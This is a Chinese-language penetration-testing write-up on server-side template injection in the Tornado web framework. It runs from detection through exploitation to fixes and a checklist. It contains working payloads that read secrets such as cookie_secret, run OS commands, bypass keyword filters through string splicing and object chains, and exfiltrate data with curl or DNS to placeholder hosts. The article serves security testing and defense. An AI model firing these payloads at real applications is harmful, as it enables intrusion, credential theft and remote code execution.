1. 项目概述为什么Tornado的SSTI值得深挖最近在复盘一些老项目的代码审计记录发现一个挺有意思的现象很多团队在快速开发Web应用时会选择Tornado这类高性能的异步框架看中的就是它的轻量和并发能力。但在安全层面大家往往把注意力集中在SQL注入、XSS这些“显性”漏洞上对于服务器端模板注入特别是Tornado框架下的SSTI认知和防御措施普遍不足。这其实留下了一个不小的隐患。我手上就有一个从内部靶场到真实环境渗透测试的案例攻击链的起点恰恰就是开发者在渲染一个“用户可控的模板文件名”时一个不经意的疏忽。这个漏洞从低危的信息泄露一路升级到高危的远程代码执行攻防转换非常典型。所以我决定把这次从发现、验证到利用的完整过程以及后续跟进的加固方案系统地梳理出来。这篇文章不是简单的漏洞复现手册而是想带你走一遍攻击者的思考路径同时站在防御者的角度看看哪些编码习惯和框架特性容易被利用。无论你是负责安全测试、代码审计还是正在使用Tornado进行开发的工程师理解这套完整的逻辑都能帮你更好地构建应用的安全防线。我们会从Tornado模板引擎的工作原理切入逐步拆解漏洞成因、利用技巧并最终落地到可操作的防御策略上。2. Tornado模板引擎工作机制与漏洞根源要理解SSTI首先得明白模板引擎在干什么。Tornado的模板引擎核心任务是把开发者预先写好的模板文件通常是.html与后台传递过来的数据我们称为上下文或命名空间进行混合最终生成纯HTML字符串返回给浏览器。这个过程本应是“数据”与“展示逻辑”的安全融合但一旦边界模糊危险就来了。2.1 模板渲染的基本流程与安全边界在Tornado中最常见的渲染方式是继承tornado.web.RequestHandler然后在它的get或post方法里调用self.render(‘template.html’ **kwargs)。这里的kwargs就是传递给模板的数据字典。模板里用{{ variable }}来插入变量用{% for item in list %} ... {% end %}之类的标签来控制逻辑。引擎在解析{{ ... }}时会去当前模板的命名空间里查找对应的变量或可调用对象并尝试执行或获取其值。这里的安全边界在于模板引擎应该只允许执行有限的、预设的“模板语言”比如变量替换、循环、条件判断。它不应该也绝不能允许执行任意的Python代码。Tornado的设计初衷是安全的它没有像Jinja2那样内置大量复杂的函数调用和过滤器链。然而漏洞往往出现在“特性”与“误用”的交叉点上。2.2 漏洞的典型引入场景当用户输入成为模板的一部分绝大多数Tornado SSTI漏洞的根源可以归结为一类危险模式将用户可控的数据直接或间接地作为模板内容的一部分进行渲染。这通常不是指渲染一个完整的、用户上传的模板文件那太明显了而是更隐蔽的方式。我结合实战经验总结了几种高频场景动态模板路径/名称这是最经典的场景。为了支持多主题、多语言开发者可能会根据用户参数来拼接模板路径例如self.render(template_name)而template_name来自URL参数或Cookie。如果过滤不严攻击者可以传入../../../etc/passwd尝试路径遍历或者更巧妙地传入一个包含恶意模板语法的字符串。模板字符串的动态渲染有些功能需要动态生成一小段HTML开发者可能图省事直接用tornado.template.Template类来渲染一个字符串例如Template(user_provided_html).generate()。如果user_provided_html包含了{{ ... }}它就会被执行。不当的模板变量赋值在模板中有时会通过{% set x user_input %}来设置变量。如果user_input本身是一段可执行的表达式字符串并且在后续的渲染环节中被以不安全的方式求值也可能引发问题。通过handler.settings等配置信息泄露Tornado 应用的settings字典包含了大量配置信息甚至是敏感数据。如果模板中能够引用到这些配置并且攻击者能找到方法控制模板内容就可能先通过SSTI读取handler.settings来获取更多信息如数据库密码、加密密钥为下一步攻击铺路。注意很多初级的漏洞扫描器或SAST工具可能会误报Tornado的SSTI。因为它们检测到模板中有变量渲染就报警但没深入分析变量是否用户可控、是否被安全过滤。所以人工审计时关键要追踪数据流从用户输入点request参数、header、cookie、body开始一直追踪到self.render()或Template()的调用点看中间是否有充分的校验和过滤。2.3 Tornado模板的“特殊能力”与利用基础与一些功能更丰富的模板引擎相比Tornado的模板语法相对简单但这不意味着它绝对安全。它依然保留了一些“强大”的能力这些能力在正常开发中是工具在攻击者手中就成了武器访问Python内置命名空间在Tornado模板中可以通过__builtins__、__import__等访问Python的内置函数和模块。这是实现RCE的基石。执行有限的Python表达式虽然不能直接写多行语句但在{{ ... }}中可以执行属性访问、函数调用等操作。例如{{ “”.__class__ }}是合法的它会返回字符串对象的类。handler对象引用在模板中默认可以访问到handler对象也就是当前的RequestHandler实例。通过它可以访问到request、settings等大量上下文信息。漏洞利用的过程本质上就是构造一条从用户输入点到这些“特殊能力”的调用链并最终实现任意代码执行。下面我们就进入实战环节看看这条链具体是怎么搭建起来的。3. 漏洞发现与手工验证流程在安全测试中盲目测试效率很低。对于SSTI我们需要一种系统性的方法来判断是否存在漏洞以及漏洞的可利用程度。我习惯将其分为三个步骤信息收集与试探、漏洞确认与初步利用、深度利用链构造。3.1 信息收集定位潜在的注入点首先你需要像侦探一样寻找所有可能将你的输入送入模板渲染环节的地方。参数枚举对目标应用的所有参数GET, POST, Cookie, Headers进行模糊测试。除了常见的name、id、page等要特别注意诸如template、view、page、file、lang、theme这类可能指向模板或视图的参数。功能点分析关注这些功能模块错误页面尝试触发404、500错误观察返回的页面是否使用了模板以及是否包含了你的输入。搜索、评论、个人资料展示这些功能常常会将用户输入回显到页面上。文件下载或预览参数中可能包含文件名并被用于拼接模板路径。任何“动态加载”内容的功能。试探性Payload找到输入点后先使用简单、无害的Payload进行试探目的是观察应用的反应判断它是否在解析模板语法。经典的试探Payload包括{{7*7}}如果页面返回49这是一个强烈的SSTI信号。{{‘7’*7}}返回7777777同样有效。{{11}}返回2。{{”}}一个空表达式有时会引发模板解析错误从错误信息中可以获取框架信息。实际操作记录在一次测试中我发现一个用户个人主页的URL格式为/user?namexxx。页面顶部会显示“Hello, xxx”。我尝试输入{{7*7}}页面上赫然显示“Hello, 49”。心跳瞬间加速漏洞确认了。接下来就需要判断这是什么模板引擎。Tornado对{{7*7}}的求值行为与Jinja2等类似需要进一步区分。3.2 漏洞确认与指纹识别拿到初步证据后要确认是否是Tornado以及其版本。因为不同引擎的利用Payload差异很大。错误信息法故意构造一个模板语法错误。例如输入{{不闭合或{{ invalid syntax }}。Tornado会返回包含tornado.template.TemplateError的错误栈信息直接暴露框架。类似地Jinja2会显示jinja2.exceptions.TemplateSyntaxError。特殊语法探测不同模板引擎的语法略有不同。Tornado的注释是{# ... #}而Jinja2也是这个语法。Tornado的多行语句使用{% ... %}循环结束是{% end %}而Jinja2是{% endfor %}。可以尝试提交{{‘’.__class__}}。如果页面返回类似class ‘str’的内容说明引擎支持访问对象属性这是Python类模板引擎Tornado, Jinja2, Mako的典型特征。如果返回空或原样输出可能是Smarty等。版本信息泄露如果通过SSTI能读取到handler.settings里面很可能包含tornado.version信息。我们会在利用阶段做这件事。在我的案例中通过注入{{”}}引发了错误页面清晰地报出tornado.template.TemplateError: Expected expression after ‘{‘从而100%确认了是Tornado框架。3.3 构造初步利用从信息泄露到代码执行确认漏洞后不要急于执行系统命令。一个稳健的渗透测试过程是循序渐进的。第一步通常是信息泄露这能帮助我们了解服务器环境为后续攻击提供弹药。利用一读取应用配置handler.settings这是Tornado SSTI里非常关键的一步。handler.settings是一个字典保存了启动应用时传入的所有设置。它可能包含数据库连接字符串、加密密钥、调试标志、甚至其他敏感配置。Payload:{{handler.settings}}如果这个Payload被成功执行你会在页面上看到一个字典的字符串表示。你需要仔细从输出中寻找有价值的信息比如cookie_secret这是Tornado用于签名Cookie的密钥。如果泄露攻击者可以伪造任意用户的会话。debug如果为True说明处于调试模式可能开启更详细的错误信息有助于进一步攻击。数据库配置 (database,host,user,password)。第三方服务的API密钥。利用二探测Python环境与模块了解服务器上有什么可用的模块对于构造RCE Payload至关重要。Payload:{{__import__(‘os’).listdir(‘.’)}}这个Payload尝试导入os模块并列出当前目录。如果成功证明我们已经可以执行任意Python代码并且os模块可用。这是通往RCE的临门一脚。实操心得在实际测试中直接执行__import__(‘os’).system(‘id’)可能会因为输出不显示在HTTP响应中而失败system的返回值是退出状态码。更可靠的方法是使用os.popen(‘command’).read()它会把命令的输出读取出来并返回。例如{{__import__(‘os’).popen(‘whoami’).read()}}。如果页面显示了命令执行结果那么恭喜你已经获得了RCE能力。4. 高级利用技巧与绕过思路在实战中情况往往没那么理想。应用可能会对输入进行一些过滤或者网络环境限制了回显。这就需要我们掌握一些高级技巧和绕过方法。4.1 常见过滤与绕过策略开发人员或WAF可能会过滤一些关键词如__import__、os、eval、exec、subprocess等。字符串拼接与编码{{”__imp””ort__“(‘os’).popen(‘ls’).read()}}{{”__im\port__“(‘o\163’).pop\145n(‘l\163’).read()}}使用八进制编码{{getattr(__builtins__, ‘__imp’’ort__’)(‘o’’s’).system(‘calc’)}}利用getattr利用其他内置函数和模块如果os被禁可以尝试import subprocess{{__import__(‘subprocess’).check_output(‘ls’, shellTrue)}}利用platform模块执行命令某些版本可行{{__import__(‘platform’).__dict__[‘_syscmd_file’](‘ls’)}}不常见但可作为备用利用importlib这是更现代、也更隐蔽的方式。{{__import__(‘importlib’).import_module(‘os’).system(‘id’)}}无回显命令执行盲注 有时命令执行了但输出不在页面上显示。我们可以通过以下方式验证和利用延时判断使用time.sleep()命令。{{__import__(‘time’).sleep(5)}}如果页面响应延迟了5秒说明代码被执行了。DNS外带通过发起DNS查询来带出数据。{{__import__(‘os’).system(‘ping -c 1 your-dns-log-server.com’)}}在你的DNS日志服务器上查看是否有查询记录。HTTP请求外带使用curl或wget将命令结果发送到你的服务器。{{__import__(‘os’).system(‘curl http://your-server.com/whoami’)}}注意反引号执行命令。4.2 利用对象链构造复杂攻击在更严格的过滤下我们可能需要从已有的Python对象出发通过属性__class__、基类__bases__、子类列表__subclasses__等内置属性一步步找到并实例化一个可以执行命令的模块或函数。这条链通常较长但非常强大能绕过很多基于关键词的过滤。经典攻击链示例 目标是找到os._wrap_close类它是os模块中一个类的子类然后利用它执行命令。获取空字符串的类{{”.__class__}}-class ‘str’获取str类的基类通常是object{{”.__class__.__bases__[0]}}获取object的所有子类{{”.__class__.__bases__[0].__subclasses__()}}这会返回一个很长的列表。在这个列表中寻找os._wrap_close类。我们需要知道它的索引。可以写一个简单的脚本离线计算或者在有条件的回显下暴力尝试。假设它的索引是133。通过索引获取该类并调用其__init__或直接利用其__globals__属性导入os模块{{”.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[‘system’](‘ls’)}}这条链直接从内建对象出发完全不出现import、os等关键字绕过能力极强。注意事项这条链的索引如133会因Python版本和运行环境加载的模块的不同而剧烈变化。在实战中你需要先在一个与目标相似的环境比如通过漏洞先print出子类列表中确定正确的索引或者编写一个自动化的Fuzz脚本来尝试。盲目使用网上公开的索引大概率会失败。5. 漏洞修复与防御方案设计发现并利用漏洞是攻击者的工作而我们的核心价值在于修复和防御。对于Tornado SSTI防御必须从开发阶段开始贯穿整个生命周期。5.1 根本性修复严格隔离用户输入与模板逻辑这是最有效也最应该被遵守的原则。绝对禁止用户控制模板名称或路径如果业务必须动态选择模板请使用白名单机制。建立一个合法的模板名称列表或映射字典用户参数只允许从这些预定义的值中选择。# 错误示范 template_name self.get_argument(‘tpl’, ‘default.html’) self.render(template_name) # 正确做法白名单 ALLOWED_TEMPLATES {‘home’: ‘home.html’ ‘profile’: ‘profile.html’ ‘settings’: ‘settings.html’} tpl_key self.get_argument(‘tpl’ ‘home’) template_file ALLOWED_TEMPLATES.get(tpl_key) if not template_file: raise tornado.web.HTTPError(404) self.render(template_file)避免渲染原始用户输入的字符串除非绝对必要否则不要使用tornado.template.Template去渲染一个来自用户输入的字符串。如果必须这么做比如一个极简的邮件模板功能务必进行严格的过滤和转义。可以考虑使用一个功能受限的、安全的模板语言来处理这类需求或者直接进行文本替换而非模板渲染。对传入模板的上下文数据进行净化确保传递给self.render()的每一个值都是安全的、预期的类型字符串、数字、列表、字典等而不是可能包含危险方法或属性的复杂对象。避免将整个handler、request对象不加选择地传递给模板。5.2 输出编码与沙箱环境默认转义Tornado模板默认会对{{ ... }}中的变量进行HTML转义。这是一个重要的安全特性不要轻易关闭它即不要使用{% raw ... %}或{% autoescape None %}包裹不受信任的内容。这虽然主要防XSS但也增加了一层安全屏障。考虑使用沙箱环境对于必须执行动态代码的高阶需求如在线代码评测、报表自定义可以考虑使用像PyPy的沙箱、RestrictedPython或容器化技术Docker将不可信的代码放在一个严格受限的环境中运行与主应用完全隔离。但这会带来显著的复杂性和性能开销需谨慎评估。5.3 安全开发规范与自动化检查代码审计与安全培训将SSTI作为代码审计的必查项。对开发团队进行培训让他们了解SSTI的原理、危害和引入模式。使用静态应用安全测试工具在CI/CD流水线中集成SAST工具如Semgrep, Bandit, SonarQube配置规则来检测不安全的模板渲染模式。例如检测self.render()的参数是否直接来自用户输入。依赖库与框架升级保持Tornado及相关依赖库的最新版本。虽然SSTI更多是应用层逻辑漏洞但框架本身的更新可能会引入更安全的API或默认配置。输入验证与过滤对所有用户输入实施严格的验证。对于可能用于模板的参数除了白名单还可以进行严格的字符过滤只允许字母、数字、下划线、短横线等。5.4 Web应用防火墙规则在应用前端部署WAF可以作为一种缓解措施。可以配置规则来拦截包含常见SSTI攻击模式如{{、}}、__class__、__import__等的请求。但请注意WAF容易被绕过如通过编码、拼接它应该是纵深防御中的一层而不是唯一的防线。6. 实战案例复盘与排查手册最后我想通过一个简化但完整的实战案例把上面的知识点串联起来并附上一份快速排查手册。案例背景一个内部管理系统有一个“报告导出”功能允许用户选择不同的模板来生成PDF报告。URL参数为/export?report_typeweekly_summary后端根据report_type拼接模板文件路径templates/reports/ report_type .html。攻击过程发现测试/export?report_type{{7*7}}发现生成的PDF报告标题处显示了“49”。确认测试/export?report_type{{页面返回了tornado.template.TemplateError错误栈确认Tornado SSTI。信息收集尝试/export?report_type{{handler.settings[‘cookie_secret’]}}成功在报告的一个角落获取到了Cookie签名密钥。RCE尝试直接执行命令/export?report_type{{__import__(‘os’).popen(‘id’).read()}}但由于PDF生成引擎对特殊字符的处理命令未执行。改用盲注方式/export?report_type{{__import__(‘time’).sleep(10)}}观察到请求响应时间显著增加证明代码可执行。构造有效载荷最终通过编码和字符串拼接成功执行了反向Shell命令获取了服务器权限。Tornado SSTI快速排查手册当你怀疑或需要检查一个Tornado应用是否存在SSTI时可以遵循以下步骤步骤操作预期结果与判断1. 定位输入点遍历所有参数特别是template,view,page,file,name等。找到可能影响页面内容或文件路径的参数。2. 基础探测输入{{7*7}}、{{‘7’*7}}。页面显示49或7777777-高危漏洞可能。页面原样输出或报错但不执行 - 需进一步分析。3. 引擎识别输入{{或{{ invalid。错误信息包含tornado.template-确认Tornado。包含jinja2- Jinja2引擎。其他错误或无错误 - 可能不是SSTI或已过滤。4. 信息泄露测试输入{{handler.settings}}。页面打印出配置字典 -漏洞确认且可泄露敏感信息。5. 命令执行测试输入{{__import__(‘os’).popen(‘whoami’).read()}}。页面显示当前系统用户名 -RCE漏洞确认。无显示但请求延迟 - 尝试盲注Payload。6. 绕过尝试如果上述被拦截尝试字符串拼接{{“__imp””ort__”(“o””s”).popen(“id”).read()}}或使用对象链。成功执行 - 证明过滤可被绕过。排查后行动对于开发人员立即按照第5章的方案进行修复重点检查所有self.render()和Template()的调用。对于安全人员提交详细漏洞报告包括复现步骤、Payload、潜在影响信息泄露、RCE和修复建议。在修复前可以考虑通过WAF临时封堵相关攻击模式。这个漏洞的挖掘过程让我深刻体会到安全是一个持续的过程没有一劳永逸的解决方案。框架提供的安全特性是基础但最终的安全性取决于开发者如何正确地使用它们。作为开发者时刻对用户输入保持警惕遵循最小权限和安全编码原则是构筑应用安全防线的第一道也是最重要的一道关卡。而作为安全研究者理解攻击者的思维和工具才能更有效地发现和修复这些深藏于逻辑之中的风险。